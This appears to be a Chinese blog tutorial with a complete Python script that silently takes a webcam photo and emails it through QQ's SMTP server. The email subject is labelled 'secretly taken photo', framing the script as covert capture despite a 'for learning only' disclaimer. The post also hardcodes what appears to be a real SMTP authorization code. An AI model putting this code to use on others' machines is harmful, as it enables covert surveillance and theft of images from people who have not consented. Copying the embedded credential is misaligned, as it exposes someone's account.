每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习)

仅供学习,望注意隐私


1、功能展示

这里我使用自己的电脑进行控制拍照,将其发送到自己的邮箱;图片经过base64编码,至于怎么解码,从邮箱下载到本地重命名为后缀名为.jpg即可

在这里插入图片描述
在这里插入图片描述
另外项目目录也会出现
在这里插入图片描述
图片已经展示过😁

2、代码展示

import cv2 as cv
from email.mime.multipart import MIMEMultipart #邮件格式
from email.header import Header         #邮件头
from email.mime.text import MIMEText   #邮件文本内容
from smtplib import SMTP_SSL            #邮箱发送依赖包


#开启摄像头进行拍照
def get_person_image():
    capture = cv.VideoCapture(0)
    result,image_data = capture.read()      # result是拍照的结果(true或者false),image_data是图片数据
    cv.imwrite('person.jpg', image_data)    #写入到当前项目的根目录下
    capture.release()                       #关闭

#将图片发送到邮箱
def send_email():
    server = 'smtp.qq.com'          #使用qq邮箱服务器
    pwd = 'mlkgdtqksuvldiii'        #动态验证码(开启IMAP/SMTP服务之后复制的那一串动态验证码)
    sender = '181xxxx22@qq.com'  #发件人
    receiver = '181xxxx22@qq.com'  #收件人

    #创建邮件格式(邮件格式也就是每封邮件都有发送人、日期、收件人、内容等等)
    message = MIMEMultipart()
    message['Subject'] = Header('偷拍照片','UTF-8') #邮件主题
    message['From'] = sender                #发件人
    message['To'] = receiver                #收件人
    message.attach(MIMEText('photo', 'html', 'UTF-8'))#文本内容(photo是文本内容,网页肯定是html格式)

    image = MIMEText(open('person.jpg', 'rb').read(), 'base64', 'UTF-8')    #base64是进行编码(可以理解为加密)
    image['Content-Type'] = 'image/jpeg'
    message.attach(image)

    #发送
    shtp = SMTP_SSL(server)
    shtp.login(sender, pwd)
    shtp.sendmail(sender, receiver, message.as_string())
    shtp.quit()


if __name__ == '__main__':
    get_person_image()
    send_email()

3、详细步骤

Ⅰ、安装opencv

opencv是一个计算机视觉库,,使用它我们可以开发实时的计算机视觉应用程序。 它主要集中在图像处理,视频采集和分析,包括人脸检测和物体检测等功能。

1、在pycharm中点开Terminal

在这里插入图片描述

2、输入pip install opencv-python(点击回车等待完成即可)

在这里插入图片描述

注意python版本不要太高,否者可能会出现opencv无法导入的问题(我是用是的是python3.7版本的)

Ⅱ、QQ邮箱设置

设置-》账户-》开启
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
开启IMAP/SMTP服务之后,复制那一串动态验证码(代码中要用到)

注意隐私!

评论 51
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thecoastlines

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值